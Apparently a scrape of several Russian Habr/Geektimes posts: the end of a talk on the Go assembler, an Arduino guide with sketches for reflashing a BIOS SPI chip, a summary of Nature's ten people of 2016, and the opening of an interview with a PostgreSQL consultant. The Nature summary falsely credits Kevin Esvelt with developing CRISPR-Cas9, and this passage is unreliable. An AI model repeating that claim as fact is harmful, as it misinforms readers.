obj в бэкэнде – и мы можем писать на ассемблере. При таком подходе возникает проблема: если взять руководство National или PowerPC и взглянуть на язык ассемблера, то окажется, что он выглядит не так. У него другой синтаксис, иногда другие имена инструкций, потому что на каком-то уровне это фактически псевдоинструкции. На самом деле, это неважно. Непосвящённого человека внешний вид ассемблера Go — все эти заглавные буквы и странные штуки — может серьёзно смутить. Но поскольку для всех этих компьютеров у нас есть общий язык ассемблера, мы можем получить замечательный результат, о котором речь пойдёт ниже. Поэтому мы считаем, что это оправданный компромисс и достигнуть его не очень сложно. Стоит научиться программировать на 68000 и на ассемблере Кена – и вы автоматически сможете писать программы для PowerPC. Какая разница? Как же это работает? Ассемблер версии 1.5 я считаю идеалом ассемблера. Дайте ему любой компьютер – и он транслирует ассемблер для него. Это новая программа, написанная полностью на Go. В ней есть общие лексический и синтаксический анализаторы, которые просто принимают ваш входной код, всё что вы ему дадите, и преобразуют инструкции в структуры данных, описывающие инструкции в двоичной форме, а потом передают результат новой библиотеке obj, в которой содержится информация о конкретных платформах. Большая часть кода, который лежит в основе ассемблера, полностью портируема, она не содержит ничего, никакой интересной информации об архитектурах, но там есть таблица со сведениями об именах регистров. Ещё есть несколько вещей, которые связаны с работой операндов, но там это довольно просто. И всё это настраивается при запуске программы в соответствии со значением переменной GOARCH. GOOS используется в очень, очень редких случаях, в которые мы не будем углубляться, – основные характеристики определяет GOARCH. Ещё есть внутренний пакет для ассемблера, который называется arch, он создаёт эти таблицы на лету, динамически извлекая их из библиотеки obj. А вот фрагмент настоящего кода. import (    "cmd/internal/obj"    "cmd/internal/obj/x86" ) func archX86(linkArch *obj.LinkArch) *Arch {    register := make(map[string]int16)    // Create maps for easy lookup of instruction names etc.    for i, s := range x86.Register {        register[s] = int16(i + x86.REG_AL)    }    instructions := make(map[string]obj.As)    for i, s := range obj.Anames {        instructions[s] = x86.As(i)    }    return &Arch{        Instructions:   instructions,        Register:       register,        ...    } } Он немного упрощён, но суть передаёт. Это arch, внутренний пакет ассемблера. Это процедура, которая настраивает весь ассемблер для архитектуры x86. Этот код используется и в 32-, и в 64-разрядной архитектуре, они с этой точки зрения идентичны. А потом мы просто запускаем цикл… Цикл, перебирающий имена регистров из библиотеки obj, определённой в пакете x86 для процедур obj. И мы просто настраиваем карту, которая сопоставляет имена регистров и двоичный код в соответствии с данными из obj. А потом делаем то же самое для инструкций. Эти коды на самом деле не являются кодами инструкций, вы не найдёте их в руководстве. Это буквально алфавитный перечень всех вещей — повторю, что это лишь псевдоинструкции, а не настоящие команды. Но сейчас мы знаем все имена всех регистров и все инструкции. И описание архитектуры, которое мы вернём, содержит только эти две карты. Вот имена инструкций, которые вы знаете, вот имена регистров, которые вы знаете, и ещё немного вещей, которые я не упомянул, но там всё довольно просто. Это вся необходимая информация для того, чтобы преобразовывать язык ассемблера в инструкции для этих компьютеров. На самом деле, парсер просто проводит сопоставление строк, чтобы найти нужные инструкции. Вы в столбце 1, он содержит слово, это инструкция, ищем её в таблице инструкций. Это довольно просто. ADDW AX, BX &obj.Prog{    As: arch.Instructions["ADDW"],    From: obj.Addr{Reg: arch.Register["AX"]},    To: obj.Addr{Reg: arch.Register["BX"]},    ... } Вот пример. Это инструкция «добавить слово» (ADDW) для процессора 386, которую вы можете использовать в реальном коде или обнаружить в выводе компилятора. Она выглядит так: ADDW AX, BX. Ассемблер знает, что в первом столбце содержится инструкция. Всё, что он делает, — проводит поиск по списку инструкций, который содержится в структуре для архитектуры, индексирует карту по ADDW и получает код. Он помещает его в величину с именем A — странное название, но уж какое есть. Далее идут источник и приёмник, два операнда. То же самое — ищем регистр AX, ищем регистр BX. На самом деле, всё немного сложнее, но смысл такой: вы просто ищете слова, которые подаются на вход, помещаете их в структуру данных и передаёте библиотеке obj. Суть в том, что это просто обработка текста. Всё, что делает ассемблер, — обрабатывает текст. Он ничего не знает о семантике архитектуры этих устройств.   Ещё он должен выполнить проверки, убедиться, что результат лексически и синтаксически корректен. Это легко осуществляется стандартными методами анализа. То есть ассемблер анализирует, например, операнды, на своём ли они месте… Там есть несколько ухищрений и некрасивых специальных случаев, потому что в некоторых компьютерах используются странные режимы операндов, которых нет в других, но и их достаточно просто применить. Это не проблема. Самое важное здесь то, что все семантические проверки выполняет библиотека obj. Базовое правило здесь такое: если структура, которая описывает инструкцию, передаётся в библиотеку obj, и та обрабатывает её без ошибок, причина в том, что библиотека obj знает, как преобразовать её в инструкцию для физического компьютера. Поэтому если код парсится, а библиотека obj его обрабатывает, то всё готово. Это вся идея. Она, очевидно, безумна, но работает, и мы можем доказать это на практике. Тестирование мы проводили так. Помните, у нас были старые ассемблеры, они были написаны на С, и мы буквально брали программы… я написал ассемблер и библиотеку obj для него, мы объединили их, а потом взяли программу и собирали её с помощью старого ассемблера и нового. И мы повторяли это снова и снова, пока новый ассемблер не выдал то же, что и старый, с точностью до мельчайших частей. А потом мы взяли следующую программу. К тому времени, как мы обработали весь стандартный пакет, у нас был рабочий ассемблер. Вот, в общем-то, и всё. Такое A/B-тестирование — превосходный способ проводить подобные проверки. Оно сработало просто отлично. Вначале я провёл его для 386, потом – для AMD64. Для каждой архитектуры был ряд особых случаев, но со временем ситуация улучшалась. К тому моменту, как мы добрались до PowerPC, добавление в ассемблер поддержки этой новой архитектуры заняло пару часов – настолько это было просто. Самой удивительной и, на мой взгляд, самой интересной особенностью этой работы было то, что при написании ассемблера с поддержкой этих четырёх архитектур я не заглянул ни в одно руководство к аппаратной платформе. Эта задача сводится исключительно к обработке текста на основе того факта, что вся нужная информация хранится в библиотеке obj, поэтому мне просто незачем всё это знать. По-моему, это довольно круто. Так вот, в итоге у нас теперь есть одна программа на Go, которая заменяет кучу разных программ на С и Yacc. Поддерживать одну программу намного проще, чем несколько. Исправлять ошибки в одной программе тоже гораздо проще. Программа написана на Go, поэтому её можно должным образом тестировать, что хорошо. Она зависит от библиотеки, от которой зависит всё, то есть правильность обеспечивается почти автоматически, и это отлично. Я преувеличил, но в целом это так. И у нас есть новый ассемблер, который практически идеально совместим со всеми старыми. Области несовместимости по большей части соответствуют различиям между ассемблерами и небольшим особенностям работы разных штук. Но сейчас всё полностью унифицировано. Мы создали действительно универсальный язык ассемблера для всех этих платформ. И портируемость обеспечивается очень просто. Я показал, кажется, все архитектуры, которые он сейчас поддерживает, когда мы просматривали те примеры функции сложения, и многие из них были созданы людьми из open-source-сообщества. Если вы зайдёте в репозиторий Git и взглянете на коммиты, которые добавляют эти новые архитектуры, то увидите, что объём информации, необходимый для поддержки нового компьютера, в действительности очень небольшой. Это здорово. По-моему, это говорит в пользу выбранного подхода. Мне приятно видеть, с какой лёгкостью open-source-сообщество добавляет новые архитектуры. Как я говорил, ассемблер настраивается путём загрузки, по сути, таблиц, известных библиотеке obj и представляющих архитектуру компьютера. Таблицы ведь можно генерировать? Мне не нравится писать таблицы от руки. На самом деле, не совсем так, но… дизассемблеры — я рассказываю не про них, но их использует инструмент pprof, и некоторые другие компоненты — по-моему, их все, или, по крайней мере, значительную их часть, создал Расс одним тоскливым днём. Он тогда написал программу, обрабатывающую описание инструкций в формате PDF и преобразующую его в битовые шаблоны, которые нужны для кодирования инструкций. У нас есть описание компьютера, которое компьютер может прочитать, — почему бы не прочитать его компьютером? В результате дизассемблеры были сгенерированы на компьютере. В другом направлении всё это не так просто, там есть свои особенности. Прежде всего такое преобразование должно быть абсолютно точным. Если дизассемблер ошибётся, это не страшно. Отсутствие ошибок — это приятно, но особые случаи не очень важны. А вот в другом направлении результат должен быть абсолютно точным. Поэтому такая задача намного сложнее. Но Расс работает над ней. Я надеялся, что к сегодняшнему дню она будет решена, но пока не удалось. Однако я надеюсь, что к концу года вы сможете дать нам PDF с описанием инструкций новой архитектуры, мы нажмём на кнопку – и вернём вам рабочий ассемблер. Цель здесь именно такая. Это значит, что у нас есть ассемблер, большей частью сгенерированный на компьютере, по крайней мере, после завершения предварительной ручной работы. Заключение В заключение скажу вот что. Язык ассемблера везде по сути одинаков, несмотря на то, что некоторые утверждают обратное. И в области портируемости мы дошли до того, что именно таким его надо считать. На основе этих идей мы можем создать подлинно общий язык ассемблера, который позволит говорить с компьютером на самом базовом уровне, но не учить для этого каждый раз новый синтаксис и не осваивать новый инструмент. Если у вас есть такая единая среда, с которой аккуратным и прозрачным образом взаимодействуют компилятор и линкер, писать на ассемблере намного проще. Этого можно добиться путём динамической загрузки таблиц, автоматически составленных на основе пары переменных среды. Они необходимы — печально, но это так. И однажды — надеюсь, ещё в этом году — мы сможем создавать эти таблицы для архитектур автоматически. Как видите, мы взяли язык ассемблера, который часто относят к наименее портируемым вещам, и создали для него портируемое решение. Это и есть путь Go. Спасибо.
https://habrahabr.ru/company/badoo/blog/317864/
habrahabr
Программирование SPI Flash с помощью Arduino и SD-карты
['Arduino', 'SPI Flash', 'SD-Card', 'программирование', 'микроконтроллер']
Предыстория Во время очередной уборки был случайно выключен удлинитель, к которому были подключены работающие системный блок и монитор. Системный блок состоит из: материнская плата — ASRock...
Предыстория Во время очередной уборки был случайно выключен удлинитель, к которому были подключены работающие системный блок и монитор. Системный блок состоит из: материнская плата — ASRock B75 Pro 3 процессор — Intel Core i5-3570 блок питания — Corsair CX750M После включения системник начал издавать пять противных писков, что вроде как соответствует неисправности процессора. Процессор, судя по Яндекс.Маркету, на данный момент стоит от 11000 руб. Покупать довольно накладно, а недорогой, но слабенький не хочется. В общем, немного испугался… Порылся в интернете, выяснил, что точная причина неисправности может быть совсем другая. Это вселило небольшую надежду. Но надо как-то найти эту самую причину. В первую очередь подключил другой старенький БП — комп не запускается. Для дальнейших проверок принес домой автомобильный комп. Состав: материнская плата — ASRock B75M-ITX процессор — Intel Pentium G640T Как хорошо, что компоненты оказались взаимозаменяемыми. Вытащил из автомобильного компа процессор, вставил его в домашний — комп не запускается. Но появилась надежда, что процессор все таки цел, а неисправна материнка, которая дешевле (хотя новые на чипсетах не H61 и H67 — дефицит). Далее домашний процессор вставил в автомобильный комп — комп заработал. Следовательно, процессор живой, а проблема в материнке. Начал грешить на BIOS (Winbond 25Q64BVAIG). Собственно, программирование Хорошо, что микросхема BIOS не впаяна, а на обычной панельке DIP-8. Программатора у меня нет, заказывать в Китае и ждать месяц — не выход. Решил сделать программатор из ноутбука и Arduino Nano. Покопался в интернете… Везде в основном прошивка заливается через USB, я же решил прошивать с карты памяти. Набросал схему подключения. На макетной плате собрал схему. Тип и объем карты памяти, способ ее форматирования, имя файла должны соответствовать требованиям библиотеки SD Arduino. Для начала набросал скетч, который считывает содержимое SPI Flash и записывает его в файл на карту памяти, попутно вычисляя контрольную сумму по методу Checksum-32, т.е. простым суммированием. ReadFlash_WriteSD.ino /* Подключение SPI-Flash: CS - D9 MOSI - D11 MISO - D12 CLK - D13 Подключение SD-Card Shield: CS - D10 MOSI - D11 MISO - D12 CLK - D13 */ #include <SD.h> #include <SPIFlash.h> #define Flash_CS 9 #define SD_CS 10 #define FILENAME "BIOS.ROM" File myFile; SPIFlash flash(Flash_CS); void setup() { Serial.begin(115200); while (!Serial) { ; // Ждем подключения последовательного порта } pinMode(SD_CS, OUTPUT); pinMode(Flash_CS, OUTPUT); //pinMode(10, OUTPUT); // Нужно, если к D10 не подключен ни один CS // Инициализация SD-карты Serial.println("Initializing SD card..."); if (!SD.begin(SD_CS)) { Serial.println("Initialization SD card failed!"); return; } Serial.println("Initialization done."); // Удаляем старый файл, если есть Serial.print(FILENAME); if (SD.exists(FILENAME)) { Serial.println(" exists, removing..."); SD.remove(FILENAME); } else { Serial.println(" doesn't exist."); } // Создаем файл и открываем его для записи Serial.print("Creating "); Serial.print(FILENAME); Serial.println("..."); myFile = SD.open(FILENAME, FILE_WRITE); // Если удалось создать и открыть файл - будем записывать в него if (myFile) { // Инициализация SPI Flash Serial.println("Initializing SPI Flash..."); flash.begin(); // Читаем/записываем блоками/страницами по 256 байт uint8_t data_buffer[256]; // Количество страниц uint32_t maxPage = flash.getMaxPage(); // Checksum (32 bit) uint32_t checkSum = 0; for (int page = 0; page < maxPage; page++) { // Выводим прогресс работы if ((page % 1000) == 0) { Serial.print(page + 1); Serial.print("/"); Serial.println(maxPage); } // Читаем страницу SPI Flash flash.readByteArray(page, 0, &data_buffer[0], 256); // Записываем блок в файл на карте памяти myFile.write(data_buffer, 256); // Обновляем контрольную сумму for (int i = 0; i < 256; i++) { checkSum += data_buffer[i]; } } // Закрываем файл на карте памяти myFile.close(); // Выводим контрольную сумму Serial.print("Checksum (32 bit): 0x"); Serial.println(String(checkSum, HEX)); Serial.println("Done."); } else { // Если файл не создался, то выводим сообщение об ошибке Serial.println("Error creating "); Serial.println(FILENAME); } } void loop() { // Пустой цикл } Запустил скетч, получившийся файл сравнил с оригинальным BIOS — получилось около 140000 несовпадающих байт. Далее написал скетч, который читает файл с карты памяти и записывает его на SPI Flash, предварительно стирая чип. ReadSD_WriteFlash.ino /* Подключение SPI-Flash: CS - D9 MOSI - D11 MISO - D12 CLK - D13 Подключение SD-Card Shield: CS - D10 MOSI - D11 MISO - D12 CLK - D13 */ #include <SD.h> #include <SPIFlash.h> #define Flash_CS 9 #define SD_CS 10 #define FILENAME "B75PRO31.90" File myFile; SPIFlash flash(Flash_CS); void setup() { Serial.begin(115200); while (!Serial) { ; // Ждем подключения последовательного порта } pinMode(SD_CS, OUTPUT); pinMode(Flash_CS, OUTPUT); //pinMode(10, OUTPUT); // Нужно, если к D10 не подключен ни один CS // Инициализация SD-карты Serial.println("Initializing SD card..."); if (!SD.begin(SD_CS)) { Serial.println("Initialization SD card failed!"); return; } Serial.println("Initialization done."); if (!SD.exists(FILENAME)) { Serial.print(FILENAME); Serial.println(" doesn't exist."); return; } // Открываем файл для чтения Serial.print("Opening "); Serial.print(FILENAME); Serial.println("..."); myFile = SD.open(FILENAME, FILE_READ); // Если удалось открыть файл - будем читать из него if (myFile) { Serial.print("File "); Serial.print(FILENAME); Serial.println(" is open."); // Инициализация SPI Flash Serial.println("Initializing SPI Flash..."); flash.begin(); // Стираем чип if (flash.eraseChip()) { Serial.println("Chip erased."); } else { Serial.println("Error erasing chip."); return; } // Читаем/записываем блоками/страницами по 256 байт uint8_t data_buffer[256]; // Количество страниц uint32_t maxPage = flash.getMaxPage(); // Checksum (32 bit) uint32_t checkSum = 0; for (int page = 0; page < maxPage; page++) { // Выводим прогресс работы if ((page % 1000) == 0) { Serial.print(page + 1); Serial.print("/"); Serial.println(maxPage); } // Читаем блок с карты памяти myFile.read(data_buffer, 256); // Записываем блок в страницу SPI Flash flash.writeByteArray(page, 0, &data_buffer[0], 256); // Обновляем контрольную сумму for (int i = 0; i < 256; i++) { checkSum += data_buffer[i]; } } // Закрываем файл на карте памяти myFile.close(); // Выводим контрольную сумму Serial.print("Checksum (32 bit): 0x"); Serial.println(String(checkSum, HEX)); Serial.println("Done."); } else { // Если файл не открылся - выводим сообщение об ошибке Serial.print("Error opening "); Serial.println(FILENAME); } } void loop() { // Пустой цикл } Запустил, подождал, скетч вывел контрольную сумму, она совпала с контрольной суммой оригинального файла. Но это контрольная сумма файла на карте памяти, мне же нужна контрольная сумма содержимого SPI Flash. Можно было использовать первый скетч, но написал третий, который только считает контрольную сумму содержимого SPI Flash по тому же алгоритму. ChecksumFlash.ino /* Подключение SPI-Flash: CS - D9 MOSI - D11 MISO - D12 CLK - D13 */ #include <SPIFlash.h> #define Flash_CS 9 SPIFlash flash(Flash_CS); void setup() { Serial.begin(115200); while (!Serial) { ; // Ждем подключения последовательного порта } pinMode(Flash_CS, OUTPUT); pinMode(10, OUTPUT); // Нужно, если к D10 не подключен ни один CS // Инициализация SPI Flash Serial.println("Initializing SPI Flash..."); flash.begin(); // Читаем страницами по 256 байт uint8_t data_buffer[256]; // Количество страниц uint32_t maxPage = flash.getMaxPage(); // Checksum (32 bit) uint32_t checkSum = 0; for (int page = 0; page < maxPage; page++) { // Выводим прогресс работы if ((page % 1000) == 0) { Serial.print(page + 1); Serial.print("/"); Serial.println(maxPage); } // Читаем страницу SPI Flash flash.readByteArray(page, 0, &data_buffer[0], 256); // Обновляем контрольную сумму for (int i = 0; i < 256; i++) { checkSum += data_buffer[i]; } } // Выводим контрольную сумму Serial.print("Checksum (32 bit): 0x"); Serial.println(String(checkSum, HEX)); Serial.println("Done."); } void loop() { // Пустой цикл } Контрольная сумма SPI Flash совпала с контрольной суммой оригинального файла. После вставки прошитой микросхемы BIOS в домашний комп — он благополучно заработал. В среде Arduino IDE необходимо установить библиотеку SPIFlash через управление библиотеками. С обновленной библиотекой SD почему-то не инициализируется SD-карта, откатился на версию 1.0.9. Контрольную сумму вычислял с помощью HEX-редактора HxD.
https://habrahabr.ru/post/318110/
habrahabr
Журнал Nature назвал «Десять людей года» в науке 2016 года
['nature', 'рейтинги', 'ученые', 'специалисты']
Авторитетнейший научный журнал Nature опубликовал список из десяти человек, которые оказали максимальное влияние на развитие науки в 2016 году. Это далеко не первый список, публикуемый журналом...
Авторитетнейший научный журнал Nature опубликовал список из десяти человек, которые оказали максимальное влияние на развитие науки в 2016 году. Это далеко не первый список, публикуемый журналом — он составляется ежегодно. Среди людей, оказывающих влияние на науку, журнал называет далеко не только ученых. В этом списке могут оказаться политики, люди искусства и общественные деятели. Но больше, конечно, ученых. В прошлом году, например, в список вошли специалист по сверхпроводникам Михаил Еремец, руководитель космической миссии «Новые горизонты» Алан Штерн (в рамках этой миссии был изучен Плутон и его спутник Харон). Кроме того, человеком, который оказал значительное влияние на науку в прошлом году был назван дипломат Али Акбар Салехи, который способствовал достижению ядерного соглашения по Ирану. Кого редакция Nature посчитала самыми влиятельными людьми в науке в этом году? Давайте посмотрим. Габриэла Гонсалес (Gabriela Gonzalez), физик Гонсалес — руководитель программы по обнаружению гравитационных волн Физик Габриэла Гонсалес выполняет сейчас обязанности пресс-секретаря международной коллаборации LIGO , которая объявила в уходящем году об открытии гравитационных волн. Она продолжительное время занималась (и до сих пор занимается) координированием работы групп ученых, работавших в разных странах мира. В числе прочих отмечены и специалисты из Италии, которые работали с интерферометром Virgo. Гонсалес уже заявила, что в 2018 году она собирается уйти с поста пресс-секретаря и заняться чистой наукой. В 2017 году истекает ее контракт с упомянутой организацией. Международное научное сообщество LIGO (англ. LIGO Scientific Collaboration, LSC) представляет собой растущую с каждым годом группу исследователей: около 40 научно-исследовательских институтов и 600 отдельных учёных работают над анализом данных, поступающих с LIGO и других обсерваторий. В составе коллаборации работают и две научные группы из России: группа В. П. Митрофанова (Кафедра физики колебаний Физического факультета МГУ, Москва) и группа академика РАН А. М. Сергеева (Институт прикладной физики РАН, Нижний Новгород). Кстати, таланты Гонсалес не ограничиваются организаторской работой. Она начала свою научную деятельность, как физик теоретик — во всяком случае, ее аспирантская работа касалась именно сферы теоретической физики. Но позже она переключилась на экспериментальную физику, и достигла успеха на этом поприще. Ее коллеги называют Гонсалес первоклассным ученым. Что касается ее работы в LIGO, то Гонсалес говорит, что занималась «всем понемногу». Работала она и с научными данными, причем довольно продолжительное время, но больше, конечно, она выполняла административные функции, сводя воедино разрозненные части работы других ученых. Демис Хассабис (Demis Hassabis), разработчик Создатель DeepMind, разработчик AlphaGo Этот специалист давно и плотно работает в сфере искусственного интеллекта. Именно он основал стартап DeepMind , который сейчас принадлежит корпорации Google. Напомню, что разработка DeepMind, которая получила название Alpha Go, победила человека в игре в го, которая считалась недоступной «пониманию» компьютерных систем. DeepMind Хассабис основал только после того, как защитил докторскую степень по нейробиологии. Это произошло в 2010 году. Сейчас DeepMind является автономным подразделением в составе Google. Сотрудники этого подразделения занимаются совершенствованием возможностей своего детища, слабой (пока что) формы ИИ. Благодаря DeepMind и машинному обучению, например, корпорации Google удалось сократить энергопотребление в своих дата-центрах на 15%. Но это — лишь промежуточный этап, у Хассабиса грандиозные планы на будущее. Какие именно? Он пока не рассказывает, но в том, что в не столь отдаленном будущем появится сильная форма ИИ, Хассабис уверен. Терри Хьюджес (Terry Hughes), специалист по кораллам Исследователь, который обнаружил проблему с кораллами Большого Барьерного Рифа Уже много лет Хьюджес занимается исследованиями кораллов, в частности, теми, что составляют Большой Барьерный Риф в Австралии. Еще в 2008 году ученый говорил об угрозе гибели большей части кораллов в этом регионе. Сейчас же он и его коллеги убедились, что прогнозы были верны. В марте этого года, пролетая над Рифом на самолете, Хьюджес увидел, что значительный процент кораллов рифов северной и центральной частей Большого Барьерного рифа находится в неудовлетворительном состоянии. По словам ученого, в среднем около 35% кораллов уже мертвы или же умирают. Причина вымирания — ослабление кораллов с последующей потерей ими покрывающих рифы цветных водорослей. В октябре ученые провели более подробное исследование и оказалось, что около 67% мелководных кораллов в северной части рифа на протяжении около 700 километров уже погибли. Главная причина ослабления, по мнению ряда специалистов — глобальное потепление. «Отбеливание» происходит только на Большом Барьерном Рифе, но и на коралловых рифах Гавайских островов, Папуа-Новой Гвинеи и Мальдив. В ближайшее время эта проблема будет только усугубляться. Гус Вельдерс (Guus Velders), химик Заложил фундамент международного соглашения в области защиты климата Земли Исследователь, работающий в сфере атмосферной химии, разработал положения для международного соглашения о производстве и использовании мощных парниковых газов — гидрофторуглеродов (ГФУ). Эти соединения обычно используются в системах кондиционирования. Он, фактически, заложил основу, благодаря которой состоялось подписание соответствующего договора по климату. Большинство стран согласилось на ликвидацию ГФУ в сфере производства систем охлаждения. Правда, Индия и еще несколько стран запросили дополнительные четыре года на то, чтобы избавиться от гидрофторуглеродов. Подписание договора состоялось 15 октября . Кстати, Вельдерс был частью команды ученых, которые помогли обновить Монреальский протокол по веществам, разрушающим озоновый слой. По состоянию на декабрь 2009 года 196 государств-членов ООН ратифицировали первоначальную версию Монреальского протокола. Не все страны ратифицировали каждую последующую поправку. После подписания соответствующего международного договора риск роста использования ГФУ, как принято считать, стал минимальным. Селина Мартелли (CELINA M. TURCHI), врач Раскрыла причину рождения детей с микроцефалией в Бразилии Селине Мартелли удалось установить связь между заражением людей вирусом Зика и микроцефалией. Что касается вируса Зика, то он вызывает не слишком тяжелую лихорадку у человека. В начале этого года вирус вызвал вспышку одноименной лихорадки в странах Латинской Америки. После этого в ряде регионов стали рождаться дети с микроцефалией, врожденным дефектом, который выражается в том, что у ребенка мозг и череп намного меньше нормы. Следствие этого — умственная осталось ребенка, нарушения слуха и зрения. Фактически, эпидемия вируса Зика привела к появлению эпидемии микроцефалии. Селина Мариа Турчи Мартелли (Celina Maria Turchi Martelli) — специалист по инфекционным заболеваниям. Она занялась проблемой микроцефалии по просьбе министра здравоохранения Бразилии. Изначально работа проводилась только в штате Пернамбуко. «Как эпидемиолог, я и в страшном сне не могла представить, что микроцефалия станет эпидемией», — говорит Турчи. После того, как ученые выявили связь между Зика и микроцефалией , Турчи незамедлительно обратилась к коллегам, включая эпидемиологов, специалистов по инфекционным заболеваниям, педиатров, нейрологов. Эпидемию удалось остановить благодаря усердной работе всех участников соответствующей научно-исследовательской программы. Александра Элбакян (Alexandra Elbakyan), научный интернет-пират Создала сайт Sci-Hub, дающий возможность бесплатно скачивать статьи из научных журналов, за которые обычно приходится выкладывать значительные средства Александра Элбакян, столкнувшись с проблемой доступа к научным публикациям, решила создать ресурс, который позволил бы ученым и студентам всего мира бесплатно получить доступ к научному знанию, то есть, к научным публикациям. Ресурс, созданный Элбакян, позволяет любому желающему скачивать статьи из журналов, на которые требуется оформлять дорогую подписку. В настоящее время этот сайт содержит уже 60 млн статей. С начала этого года администрация ресурса насчитала более 75 млн скачиваний. В 2015 году этот же показатель составил около 42 млн. Загружаемые с Sci-Hub материалы составляют значительную часть скачиваний статей научных журналов во всем мире. Этот показатель достиг уже 3%. «Отличие Sci-Hub от других проектов в том, что в то время как на другие сайты (например, AvaxHome) контент закачивают пользователи вручную, Sci-Hub — это автоматизированный скрипт, который сам качает научные статьи с сайтов издательств. Человек может скопировать ссылку на ту научную статью, которая ему необходима, и Sci-Hub сам скачает ее и отдаст пользователю, а также зальет скачанную статью на другие ресурсы (например, Libgen). Так скрипт уже скачал около 20 миллионов статей, и работа продолжается. Всего научных статей, по разным оценкам, от 60 до 140 миллионов. Цель — скачать всё», — заявила Элбакян в интервью Geektimes. Джон Чан (John Zhang), специалист по репродуктивной медицине Провел первую в мире процедуру искусственного оплодотворения с материалом от трех родителей Чан стал первым, кто пересадил митохондрии женщины-донора в яйцеклетку матери. Ребенок, зачатый благодаря этой процедуре, родился в апреле этого года. Все необходимые процедуры пришлось проводить в Мексике, поскольку во многих странах, включая США, такие методы запрещены. Эта процедура описывается, как искусственно собранный геном, который позволяет зачать ребенка даже в том случае, если мать страдает генетическими заболеваниями. Что касается проекта, реализованного в Мексике, то мать ребенка — носитель генетического заболевания, которое носит название синдром Лея. Процедура, выполненная Чаном, позволила избежать наследования заболевания ребенком. Чан работает не один, а с группой коллег-энтузиастов. Их сообщество даже имеет собственное название — New Hope. Правда, некоторые врачи считают, что процедура далеко не безопасна и может иметь негативные последствия. Тем не менее, сторонники Чана утверждают, что преимущества метода «митохондриального зачатия» дают в руки людей надежный инструмент, избавляющий новорожденных и их родителей от целого ряда проблем. Кэвин Эсвелт (Kevin Esvelt), генетик Разработал систему редактирования генома CRISPR-Cas9 По словам Эсвелта, в детстве ему удалось попасть на Галапагосские острова, те самые, которые в свое время посещал создатель теории эволюции Чарлз Дарвин. Во время своего путешествия он удивлялся множеству видов живых организмов и скорости эволюционных изменений в этом регионе. Он задумался о возможности улучшения эволюции. «Я хотел знать, какие могут появиться существа. И, если честно, я хотел создать собственных», — заявил он в одном из интервью. Его технология редактирования генов действительно позволяет ускорить эволюцию. Правда, по мнению ученого, этот метод может быть и опасным, поскольку, если изменения в геноме окажутся неблагоприятными для вида в целом, он может быстро вымереть. Тем не менее, метод CRISPR-Cas9 становится все более востребованным в научной среде — ученые хотят работать с этим эффективным инструментом, не боясь последствий. Гиллем Англада-Эскюде (Guillem Anglada-Escude), астроном Открыл с коллегами ближайшую к Земле экзопланету Ему удалось открыть экзопланету Proxima b на орбите Проксимы Центавра на орбите Проксимы Центавра. Это звезда, которая находится от Солнечной системы на расстоянии всего в 4,2 световых года. По мнению некоторых ученых, размеры этой экзопланеты почти равны размерам Земли, а условия, царящие на поверхности, допускают существование воды в жидком виде. Некоторые астрономы считают, что Proxima b — ближайшая к Земле планета, которая пригодна для жизни. Правда, вращается эта планета слишком близко к своей звезде, поэтому существует вероятность того, что красный карлик, Проксима Центавра, просто стерилизует поверхность этой планеты. Дело в том, что интенсивность УФ-излучения во время вспышек звезды у поверхности Проксимы Центавра b на несколько порядков превышает интенсивность солнечного излучения у поверхности Земли. Плюс ко всему, есть вероятность того, что магнитное поле планеты из-за близости звезды может сжиматься, а значит, хуже защищать атмосферу. Елена Лонг (Elena Long) Она — ядерный физик и транссексуалка. Лонг, по мнению Nature, оказала сильное влияние на научное сообщество тем, что борется с дискриминацией представителей ЛГБТ-сообщества в научной среде. Как видите, для того чтобы попасть в топ-10 людей по версии Nature, далеко не всегда необходимо иметь фантастические успехи в научной карьере.
https://geektimes.ru/post/283884/
habrahabr
Как работают ИТ-специалисты. Илья Космодемьянский, PostgreSQL-Consulting LLC
['интервью с разработчиками', 'советы начинающим', 'лайфхак', 'привычки', 'организация работы', 'postgres', 'базы данных']
Мы продолжаем расспрашивать специалистов о режиме труда и отдыха, профессиональных привычках, об инструментарии, который они используют, и многом другом. Будет интересно выяснить, что их...
Мы продолжаем расспрашивать специалистов о режиме труда и отдыха, профессиональных привычках, об инструментарии, который они используют, и многом другом. Будет интересно выяснить, что их объединяет, в чем они противоречат другу другу. Возможно, их ответы помогут выявить какие-то общие закономерности, полезные советы, которые помогут многим из нас. Сегодня наш гость — Илья Космодемьянский, генеральный директор PostgreSQL-Consulting LLC. У Ильи предельно простой лафхак на все случаи жизни. А одним из своих авторитетов он считает В. И. Ленина. Чем занимаетесь в компании? Я занимаюсь самыми разными вещами. У нас компания небольшая. Мы никогда не позиционировали себя как компания, которая занимается исключительно заработком денег. Мы занимаемся поддержкой клиентских баз данных, уже давно работаем с PostgreSQL. Поэтому наша задача – обеспечить клиентам хорошую поддержку, а моя задача – все это скоординировать так, чтобы и клиентам, и нам в результате было хорошо. Понятно, что у нас есть много технических специалистов. Но и я сам, как человек с бэкграундом в области разработки баз данных, часто занимаюсь работой «в поле». Кроме того, я отвечаю за продвижение Postgres-технологий, езжу по конференциям, рассказываю людям, как с ними работать, провожу обучение. Но все-таки основная моя задача – организация поддержки. Это отдельная, тяжелая работа. Нужно сделать так, чтобы клиент пришел, и его запрос не потерялся. Ведь каждый клиент думает, что он важнее других, и это правильно. У нас распределенная команда. Наши инженеры работают по всему миру. Одна фраза (словосочетание), лучше всего описывающее, как вы работаете: Работать так, чтобы работа оставалась любимой. Я считаю, что единственный способ сделать ее хорошо – любить ее. Сколько часов в сутки вы уделяете работе? Сложно ответить. Рабочий день у нас ненормированный. Офис нам нужен только для бизнеса, юриста и бухгалтеров. Инженеры работают из дома. Поэтому в сумме это будет близко к полному рабочему дню. Я считаю, что работать нужно в достаточно жестком графике. Я стараюсь начинать работу утром, часов в 7, и продолжать до вечера. Пытаюсь не работать в выходные. Если возникают авралы и приходится работать больше, то сразу видно, как падает эффективность. Но так как это все-таки «свое дело», я иногда ловлю себя на том, что думаю о работе, например, когда просто еду на велосипеде. Сколько часов вы спите? Стараюсь спать не менее 8 часов. Вы живете в Москве? Я живу в Германии. Но у меня выходит в среднем около 200 тысяч миль лета в год. Чем занимаетесь в пути? Иногда мне нужно сделать какую-то работу, пока я куда-то еду. Сейчас, к сожалению, начал появляться Wi-fi в самолетах – стало немного хуже (смеется). Но если я знаю, что лететь я буду в рабочее время, то стараюсь использовать его по назначению. Но бывает, что у меня подряд несколько конференций в разных странах мира. В таком случае я, наоборот, стараюсь как-то «сдампить» это все: например, художественную книжку почитать между конференциями – отдохнуть. Это очень интенсивная 